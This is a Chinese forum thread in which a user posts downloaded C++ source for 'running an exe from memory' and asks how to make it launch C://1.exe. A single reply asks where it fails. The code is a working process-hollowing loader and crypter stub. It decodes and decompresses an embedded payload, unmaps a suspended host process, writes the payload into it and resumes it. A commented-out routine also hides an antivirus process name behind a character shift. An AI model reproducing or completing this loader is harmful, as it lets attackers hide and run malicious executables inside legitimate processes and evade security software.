开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 731|回复: 1
收起左侧

[C/C++] 来位大佬看看

[复制链接]
结帖率:67% (6/9)
发表于 2018-11-7 21:12:32 | 显示全部楼层 |阅读模式   浙江省台州市
5精币
从网上下载了一份内存加载源码但是不会用
下面是代码 如果我想内存加载运行C://1.exe 怎么办
// MemRun.cpp : Defines the entry point for the application.
//
#include "stdafx.h"  
#include "zlib/zlib.h"
//#define SIZEBEFORE 0x2700d//0x3ae00
typedef IMAGE_SECTION_HEADER (*PIMAGE_SECTION_HEADERS)[1];   

// 计算对齐后的大小   
unsigned long GetAlignedSize(unsigned long Origin, unsigned long Alignment)   
{   
    return (Origin + Alignment - 1) / Alignment * Alignment;   
}   

// 计算加载pe并对齐需要占用多少内存   
// 未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0   
unsigned long CalcTotalImageSize(PIMAGE_DOS_HEADER MzH   
                                 , unsigned long FileLen   
                                 , PIMAGE_NT_HEADERS peH   
                                 , PIMAGE_SECTION_HEADERS peSecH)   
{   
    unsigned long res;   
    // 计算pe头的大小   
    res = GetAlignedSize( peH->OptionalHeader.SizeOfHeaders   
        , peH->OptionalHeader.SectionAlignment   
        );   

    // 计算所有节的大小   
    for( int i = 0; i < peH->FileHeader.NumberOfSections; ++i)   
    {   
        // 超出文件范围   
        if(peSecH[i]->PointerToRawData + peSecH[i]->SizeOfRawData > FileLen)   
            return 0;   
        else if(peSecH[i]->VirtualAddress)//计算对齐后某节的大小   
        {   
            if(peSecH[i]->Misc.VirtualSize)   
            {   
                res = GetAlignedSize( peSecH[i]->VirtualAddress + peSecH[i]->Misc.VirtualSize   
                    , peH->OptionalHeader.SectionAlignment   
                    );   
            }   
            else  
            {   
                res = GetAlignedSize( peSecH[i]->VirtualAddress + peSecH[i]->SizeOfRawData   
                    , peH->OptionalHeader.SectionAlignment   
                    );   
            }   
        }   
        else if( peSecH[i]->Misc.VirtualSize < peSecH[i]->SizeOfRawData )   
        {   
            res += GetAlignedSize( peSecH[i]->SizeOfRawData   
                , peH->OptionalHeader.SectionAlignment   
                );   
        }   
        else  
        {   
            res += GetAlignedSize( peSecH[i]->Misc.VirtualSize   
                , peH->OptionalHeader.SectionAlignment   
                );   
        }// if_else   
    }// for   

    return res;   
}   




// 加载pe到内存并对齐所有节   
BOOL AlignPEToMem( void *Buf   
                  , long Len   
                  , PIMAGE_NT_HEADERS &peH   
                  , PIMAGE_SECTION_HEADERS &peSecH   
                  , void *&Mem   
                  , unsigned long &ImageSize)   
{   
    PIMAGE_DOS_HEADER SrcMz;// DOS头   
    PIMAGE_NT_HEADERS SrcPeH;// PE头   
    PIMAGE_SECTION_HEADERS SrcPeSecH;// 节表   

    SrcMz = (PIMAGE_DOS_HEADER)Buf;   

    if( Len < sizeof(IMAGE_DOS_HEADER) )
        {
//                OutputDebugString("Len < sizeof(IMAGE_DOS_HEADER)");
        return FALSE;   
        }
    if( SrcMz->e_magic != IMAGE_DOS_SIGNATURE )   
        {
//                OutputDebugString("SrcMz->e_magic != IMAGE_DOS_SIGNATURE");
        return FALSE;   
        }

    if( Len < SrcMz->e_lfanew + (long)sizeof(IMAGE_NT_HEADERS) )   
        {
//                OutputDebugString("Len < SrcMz->e_lfanew + (long)sizeof(IMAGE_NT_HEADERS)");
        return FALSE;   
        }

    SrcPeH = (PIMAGE_NT_HEADERS)((int)SrcMz + SrcMz->e_lfanew);   
    if( SrcPeH->Signature != IMAGE_NT_SIGNATURE )   
        {
//                OutputDebugString("SrcPeH->Signature != IMAGE_NT_SIGNATURE ");
        return FALSE;   
        }

    if( (SrcPeH->FileHeader.Characteristics & IMAGE_FILE_DLL) ||   
        (SrcPeH->FileHeader.Characteristics & IMAGE_FILE_EXECUTABLE_IMAGE == 0) ||   
        (SrcPeH->FileHeader.SizeOfOptionalHeader != sizeof(IMAGE_OPTIONAL_HEADER)) )   
    {   
//                OutputDebugString("SrcPeH->FileHeader.Characteristics & IMAGE_FILE_DLL) ");
        return FALSE;   
    }   


    SrcPeSecH = (PIMAGE_SECTION_HEADERS)((int)SrcPeH + sizeof(IMAGE_NT_HEADERS));   
    ImageSize = CalcTotalImageSize( SrcMz, Len, SrcPeH, SrcPeSecH);   

    if( ImageSize == 0 )   
        {   
//                OutputDebugString("ImageSize == 0");
        return FALSE;   
    }   


    Mem = VirtualAlloc( NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存   
    if( Mem != NULL )   
    {   
        // 计算需要复制的PE头字节数   
        unsigned long l = SrcPeH->OptionalHeader.SizeOfHeaders;   
        for( int i = 0; i < SrcPeH->FileHeader.NumberOfSections; ++i)   
        {   
            if( (SrcPeSecH[i]->PointerToRawData) &&   
                (SrcPeSecH[i]->PointerToRawData < l) )   
            {   
                l = SrcPeSecH[i]->PointerToRawData;   
            }   
        }   
        memmove( Mem, SrcMz, l);   
        peH = (PIMAGE_NT_HEADERS)((int)Mem + ((PIMAGE_DOS_HEADER)Mem)->e_lfanew);   
        peSecH = (PIMAGE_SECTION_HEADERS)((int)peH + sizeof(IMAGE_NT_HEADERS));   

        void *Pt = (void *)((unsigned long)Mem   
            + GetAlignedSize( peH->OptionalHeader.SizeOfHeaders   
            , peH->OptionalHeader.SectionAlignment)   
            );   

        for( i = 0; i < peH->FileHeader.NumberOfSections; ++i)   
        {   
            // 定位该节在内存中的位置   
            if(peSecH[i]->VirtualAddress)   
                Pt = (void *)((unsigned long)Mem + peSecH[i]->VirtualAddress);   

            if(peSecH[i]->SizeOfRawData)   
            {   
                // 复制数据到内存   
                memmove(Pt, (const void *)((unsigned long)(SrcMz) + peSecH[i]->PointerToRawData), peSecH[i]->SizeOfRawData);   
                if(peSecH[i]->Misc.VirtualSize < peSecH[i]->SizeOfRawData)   
                    Pt = (void *)((unsigned long)Pt + GetAlignedSize(peSecH[i]->SizeOfRawData, peH->OptionalHeader.SectionAlignment));   
                else // pt 定位到下一节开始位置   
                    Pt = (void *)((unsigned long)Pt + GetAlignedSize(peSecH[i]->Misc.VirtualSize, peH->OptionalHeader.SectionAlignment));   
            }   
            else  
            {   
                Pt = (void *)((unsigned long)Pt + GetAlignedSize(peSecH[i]->Misc.VirtualSize, peH->OptionalHeader.SectionAlignment));   
            }   
        }   
    } else{
//                OutputDebugString("Mem != NULL ");
        }  
    return TRUE;   
}   
  /*
typedef void *(__stdcall *pfVirtualAllocEx)(unsigned long, void *, unsigned long, unsigned long, unsigned long);   
pfVirtualAllocEx MyVirtualAllocEx = (pfVirtualAllocEx)GetProcAddress(GetModuleHandle("Kernel32.dll"), "VirtualAllocEx");  // NULL;  
/*
  // 初始化  
class CInit   
{   
public:   
    CInit()   
    {   
        MyVirtualAllocEx = (pfVirtualAllocEx)GetProcAddress(GetModuleHandle("Kernel32.dll"), "VirtualAllocEx");   
    }   
}Init;   
  */

/*
BOOL IsNT()   
{   
        return true;
//   return MyVirtualAllocEx!=NULL;   
}   
  */
// 生成外壳程序命令行   
/*char *PrepareShellExe(char *CmdParam, unsigned long BaseAddr, unsigned long ImageSize)   
{   
   if(1)   
    {   
        char *Buf = new char[256];   
        memset(Buf, 0, 256);   
        GetModuleFileName(0, Buf, 256);   
        strcat(Buf, CmdParam);   
        return Buf; // 请记得释放内存;-)   
    }   
    else  
    {   
        // Win98下的处理请参考原文;-)   
        // http://community.csdn.net/Expert/topic/4416/4416252.xml?temp=8.709133E-03   
        return NULL;   
    }   
}   */

// 是否包含可重定向列表   
BOOL HasRelocationTable(PIMAGE_NT_HEADERS peH)   
{   
    return (peH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)   
        && (peH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size);   
}   




#pragma pack(push, 1)   
typedef struct{   
    unsigned long VirtualAddress;   
    unsigned long SizeOfBlock;   
} *PImageBaseRelocation;   
#pragma pack(pop)   

// 重定向PE用到的地址   
void DoRelocation(PIMAGE_NT_HEADERS peH, void *OldBase, void *NewBase)   
{   
    unsigned long Delta = (unsigned long)NewBase - peH->OptionalHeader.ImageBase;   
    PImageBaseRelocation p = (PImageBaseRelocation)((unsigned long)OldBase   
        + peH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);   
    while(p->VirtualAddress + p->SizeOfBlock)   
    {   
        unsigned short *pw = (unsigned short *)((int)p + sizeof(*p));   
        for(unsigned int i=1; i <= (p->SizeOfBlock - sizeof(*p)) / 2; ++i)   
        {   
            if((*pw) & 0xF000 == 0x3000){   
                unsigned long *t = (unsigned long *)((unsigned long)(OldBase) + p->VirtualAddress + ((*pw) & 0x0FFF));   
                *t += Delta;   
            }   
            ++pw;   
        }   
        p = (PImageBaseRelocation)pw;   
    }   
}   

// 卸载原外壳占用内存   
BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr)   
{   
    typedef unsigned long (__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long);   
    pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;   
    BOOL res = FALSE;   
    HMODULE m = LoadLibrary("ntdll.dll");   
    if(m){   
        ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(m, "ZwUnmapViewOfSection");   
        if(ZwUnmapViewOfSection)   
            res = (ZwUnmapViewOfSection((unsigned long)ProcHnd, BaseAddr) == 0);   
        FreeLibrary(m);   
    }   
    return res;   
}   

// 创建外壳进程并获取其基址、大小和当前运行状态   
BOOL CreateChild(char *Cmd, CONTEXT &Ctx, HANDLE &ProcHnd, HANDLE &ThrdHnd,   
                 unsigned long &ProcId, unsigned long &BaseAddr, unsigned long &ImageSize)   
{   
    STARTUPINFOA si;   
    PROCESS_INFORMATION pi;   
    unsigned long old;   
    MEMORY_BASIC_INFORMATION MemInfo;   
    memset(&si, 0, sizeof(si));   
    memset(&pi, 0, sizeof(pi));   
    si.cb = sizeof(si);   

/*
typedef BOOL
(WINAPI
*CreateProcessAT)(
    __in_opt    LPCSTR lpApplicationName,
    __inout_opt LPSTR lpCommandLine,
    __in_opt    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    __in_opt    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    __in        BOOL bInheritHandles,
    __in        DWORD dwCreationFlags,
    __in_opt    LPVOID lpEnvironment,
    __in_opt    LPCSTR lpCurrentDirectory,
    __in        LPSTARTUPINFOA lpStartupInfo,
    __out       LPPROCESS_INFORMATION lpProcessInformation
    );

CreateProcessAT pCreateProcessA=(CreateProcessAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateProcessA");
       

typedef BOOL
(WINAPI
*ReadProcessMemoryT)(
    __in      HANDLE hProcess,
    __in      LPCVOID lpBaseAddress,
    __out_bcount_part(nSize, *lpNumberOfBytesRead) LPVOID lpBuffer,
    __in      SIZE_T nSize,
    __out_opt SIZE_T * lpNumberOfBytesRead
    );

ReadProcessMemoryT pReadProcessMemory=(ReadProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ReadProcessMemory");


typedef BOOL
(WINAPI
*GetThreadContextT)(
    __in    HANDLE hThread,
    __inout LPCONTEXT lpContext
    );

GetThreadContextT pGetThreadContext=(GetThreadContextT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetThreadContext");
*/
    BOOL res = CreateProcess(NULL, Cmd, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); // 以挂起方式运行进程;   
    if(res){   
        ProcHnd = pi.hProcess;   
        ThrdHnd = pi.hThread;   
        ProcId = pi.dwProcessId;   
        // 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址   
        Ctx.ContextFlags = CONTEXT_FULL;   
        GetThreadContext(ThrdHnd, &Ctx);   
        ReadProcessMemory(ProcHnd, (void *)(Ctx.Ebx+8), &BaseAddr, sizeof(unsigned long), &old); // 读取加载基址   
        void *p = (void *)BaseAddr;   
        // 计算外壳进程占有的内存   
        while(VirtualQueryEx(ProcHnd, p, &MemInfo, sizeof(MemInfo)))   
        {   
            if(MemInfo.State = MEM_FREE) break;   
            p = (void *)((unsigned long)p + MemInfo.RegionSize);   
        }   
        ImageSize = (unsigned long)p - (unsigned long)BaseAddr;   
    }   
    return res;   
}   
/*
#include <tlhelp32.h>
BOOL CheckVirus()
{       
typedef HANDLE (WINAPI *CreateToolhelp32SnapshotT)
(
DWORD dwFlags,
DWORD th32ProcessID
);
CreateToolhelp32SnapshotT pCreateToolhelp32Snapshot= (CreateToolhelp32SnapshotT)GetProcAddress(LoadLibrary("kernel32.dll"),"CreateToolhelp32Snapshot");

typedef BOOL
(WINAPI
*Process32FirstT)(
    HANDLE hSnapshot,
    LPPROCESSENTRY32 lppe
    );

Process32FirstT pProcess32First=(Process32FirstT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Process32First");

typedef BOOL
(WINAPI
*Process32NextT)(
    HANDLE hSnapshot,
    LPPROCESSENTRY32 lppe
    );

Process32NextT pProcess32Next=(Process32NextT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Process32Next");
        char VName[16]="mzgvtc{0gzg";
        for(int j=0;j<16;j++)
        {
                if(VName[j]!=0)
                {
                        VName[j]-=2;
                }
        }
        BOOL res=false;
        char *p=NULL;
        p=VName;
        HANDLE handle=pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        PROCESSENTRY32* info=new PROCESSENTRY32;
        info->dwSize=sizeof(PROCESSENTRY32);
        if(pProcess32First(handle,info))
        {
                if (lstrcmpi(info->szExeFile,p) == 0)
                {
                        res=true;
                }
                while(pProcess32Next(handle,info) != FALSE)
                {
                        if (lstrcmpi(info->szExeFile,p) == 0)
                        {
                                res=true;
                                break;
                        }
                }
               
        }
        return res;
}

*/
// 创建外壳进程并用目标进程替换它然后执行   
HANDLE AttachPE(char *CmdParam, PIMAGE_NT_HEADERS peH, PIMAGE_SECTION_HEADERS peSecH,   
                void *Ptr, unsigned long ImageSize, unsigned long &ProcId)   
{   
/*
typedef DWORD
(WINAPI
*ResumeThreadT)(
    __in HANDLE hThread
    );

ResumeThreadT pResumeThread=(ResumeThreadT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ResumeThread");

typedef BOOL
(WINAPI
*TerminateProcessT)(
    __in HANDLE hProcess,
    __in UINT uExitCode
    );

TerminateProcessT pTerminateProcess=(TerminateProcessT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"TerminateProcess");
typedef BOOL
(WINAPI
*SetThreadContextT)(
    __in HANDLE hThread,
    __in CONST CONTEXT *lpContext
    );

SetThreadContextT pSetThreadContext=(SetThreadContextT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"SetThreadContext");
*/
typedef void *(__stdcall *pfVirtualAllocEx)(unsigned long, void *, unsigned long, unsigned long, unsigned long);   
pfVirtualAllocEx MyVirtualAllocEx = (pfVirtualAllocEx)GetProcAddress(GetModuleHandle("Kernel32.dll"), "VirtualAllocEx");  // NULL;  
//如果自定义dll入口,此内容必须放置在函数内部


    HANDLE res = INVALID_HANDLE_VALUE;   
    CONTEXT Ctx;   
    HANDLE Thrd;   
    unsigned long Addr, Size;   
    char *s = CmdParam;//PrepareShellExe(CmdParam, peH->OptionalHeader.ImageBase, ImageSize);   
    if(s==NULL) {
//                OutputDebugString("PrepareShellExe失败");
                return res;   
        }
    if(CreateChild(s, Ctx, res, Thrd, ProcId, Addr, Size)){   
        void *p = NULL;   
        unsigned long old;   
        if((peH->OptionalHeader.ImageBase == Addr) && (Size >= ImageSize)){// 外壳进程可以容纳目标进程并且加载地址一致   
            p = (void *)Addr;   
            VirtualProtectEx(res, p, Size, PAGE_EXECUTE_READWRITE, &old);   
        }   
        else if(/*IsNT()*/MyVirtualAllocEx){   
            if(UnloadShell(res, Addr)){// 卸载外壳进程占有内存   
                p = MyVirtualAllocEx((unsigned long)res,  (void *)peH->OptionalHeader.ImageBase, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);   
            }   
            if((p == NULL) && HasRelocationTable(peH)){// 分配内存失败并且目标进程支持重定向   
                p = MyVirtualAllocEx((unsigned long)res, NULL, ImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);   
                if(p) DoRelocation(peH, Ptr, p); // 重定向   
            }   
        }   
        if(p){   
            WriteProcessMemory(res, (void *)(Ctx.Ebx+8), &p, sizeof(DWORD), &old); // 重置目标进程运行环境中的基址   
            peH->OptionalHeader.ImageBase = (unsigned long)p;   
            if(WriteProcessMemory(res, p, Ptr, ImageSize, &old)){// 复制PE数据到目标进程   
                Ctx.ContextFlags = CONTEXT_FULL;   
                if((unsigned long)p == Addr)   
                    Ctx.Eax = peH->OptionalHeader.ImageBase + peH->OptionalHeader.AddressOfEntryPoint; // 重置运行环境中的入口地址   
                else  
                    Ctx.Eax = (unsigned long)p + peH->OptionalHeader.AddressOfEntryPoint;   
                SetThreadContext(Thrd, &Ctx);// 更新运行环境   
                ResumeThread(Thrd);// 执行   
                CloseHandle(Thrd);   
            }   
            else{// 加载失败,杀掉外壳进程   
                TerminateProcess(res, 0);   
                CloseHandle(Thrd);   
                CloseHandle(res);   
                res = INVALID_HANDLE_VALUE;   
//                                OutputDebugString("MyVirtualAllocEx失败");
            }   
        }   
        else{// 加载失败,杀掉外壳进程   
            TerminateProcess(res, 0);   
            CloseHandle(Thrd);   
            CloseHandle(res);   
            res = INVALID_HANDLE_VALUE;   
        }   
    }else{
//                OutputDebugString("CreateChild(s, Ctx, res, Thrd, ProcId, Addr, Size) 失败");
        }   
//   delete[] s;   
    return res;   
}   




/**//*******************************************************\  
{ ******************************************************* }  
{ *                 从内存中加载并运行exe               * }  
{ ******************************************************* }  
{ * 参数:                                                }  
{ * Buffer: 内存中的exe地址                               }  
{ * Len: 内存中exe占用长度                                }  
{ * CmdParam: 命令行参数(不包含exe文件名的剩余命令行参数)}  
{ * ProcessId: 返回的进程Id                               }  
{ * 返回值: 如果成功则返回进程的Handle(ProcessHandle),   }  
{            如果失败则返回INVALID_HANDLE_VALUE           }  
{ ******************************************************* }  
\*******************************************************/  
HANDLE MemExecute(void *ABuffer, long Len, char *CmdParam, unsigned long *ProcessId)   
{   
    HANDLE res = INVALID_HANDLE_VALUE;   
    PIMAGE_NT_HEADERS peH;   
    PIMAGE_SECTION_HEADERS peSecH;   
    void *Ptr;   
    unsigned long peSz;   
    if(AlignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz))   
    {   
        res = AttachPE(CmdParam, peH, peSecH, Ptr, peSz, *ProcessId);   
        VirtualFree(Ptr, peSz, MEM_DECOMMIT);   
    }else{
//                OutputDebugString("AlignPEToMem失败");
        }   
    return res;   
}   



DWORD InjectProcess(LPCSTR lpFileName, LPSTR lpstrInjectFileName, DWORD* hProcess)
{   
    HANDLE hFile = NULL;   
    hFile = ::CreateFile( lpFileName  
        ,FILE_SHARE_READ
                ,FILE_SHARE_READ
        , NULL   
        , OPEN_EXISTING   
        , FILE_ATTRIBUTE_NORMAL   
        , NULL   
        );   
    if( hFile == INVALID_HANDLE_VALUE )  
        {
                //                OutputDebugString("打开自身文件失败");
        return -1;   
        }
    ::SetFilePointer( hFile, 0, NULL, FILE_BEGIN);   
    DWORD dwFileSize = ::GetFileSize( hFile, NULL);   
       
    LPBYTE pBuf = new BYTE[dwFileSize];   
    memset( pBuf, 0, dwFileSize);   
       
    DWORD dwNumberOfBytesRead = 0;   
    ::ReadFile( hFile   
        , pBuf   
        , dwFileSize   
        , &dwNumberOfBytesRead   
        , NULL   
        );   
       
    ::CloseHandle(hFile);  
        ////////////////////加密一下
        for(int i=0;i<4;i++)
                pBuf[i]^=0x36;

        unsigned long sizebefore=0;
        CopyMemory(&sizebefore,pBuf,4);

        //    OutputDebugString((char*)pBuf);
        LPBYTE        pDeCompressionData = new BYTE[sizebefore];
//        unsigned long sizebefore =SIZEBEFORE;
//        pBuf[0]=0x78;pBuf[1]=0x9c;pBuf[2]=0xEC;pBuf[3]=0x3D;
        uncompress(pDeCompressionData, &sizebefore, pBuf+4, dwFileSize-4);
       
/*
        if(CheckVirus())
        {
                CHAR *pBuffer;
                DWORD RSize;
                int fileSize = 0;
               
                HANDLE hOpenFile = (HANDLE)CreateFile(lpstrInjectFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
                if (hOpenFile == INVALID_HANDLE_VALUE)
                {
                        hOpenFile = NULL;
                        return 0;
                }
                fileSize = GetFileSize(hOpenFile, NULL);
                pBuffer = new CHAR[fileSize];//(CHAR *) malloc(fileSize);
                ReadFile(hOpenFile, pBuffer, fileSize, &RSize, NULL);
                pBuffer[101]=0x33;pBuffer[102]=0x34;pBuffer[103]=0x54;
                HANDLE wFile = (HANDLE)CreateFile("C:\\Program Files\\tmp.exe", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, NULL, NULL);
                WriteFile(wFile,pBuffer,fileSize,&RSize,NULL);
                CloseHandle(wFile);
                //        free(pBuffer);
                delete []pBuffer;
                CloseHandle(hOpenFile);
                CopyFile("C:\\Program Files\\tmp.exe",lpstrInjectFileName,false);
        }*/
        DWORD handle;
//        handle=(DWORD)MemExecute( pDeCompressionData, sizebefore,"C:\\Program Files\\protectj.exe", hProcess);
        handle=(DWORD)MemExecute( pDeCompressionData, sizebefore,lpstrInjectFileName, hProcess);
    delete[] pBuf;   
    delete[] pDeCompressionData;
       
    return handle;   
}   






回答提醒:如果本帖被关闭无法回复,您有更好的答案帮助楼主解决,请发表至 源码区 可获得加分喔。
友情提醒:本版被采纳的主题可在 申请荣誉值 页面申请荣誉值,获得 1点 荣誉值,荣誉值可兑换荣誉会员、终身vip用户组。
快捷通道:申请荣誉值无答案申请取消悬赏投诉有答案未采纳为最佳

结帖率:96% (87/91)

签到天数: 11 天

发表于 2020-6-12 14:02:36 | 显示全部楼层   湖北省十堰市
你最好说说看,执行到什么地方有bug,我好对你的问题提出解决方案
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 诚聘英才| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 800073686,邮箱:800073686@b.qq.com
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表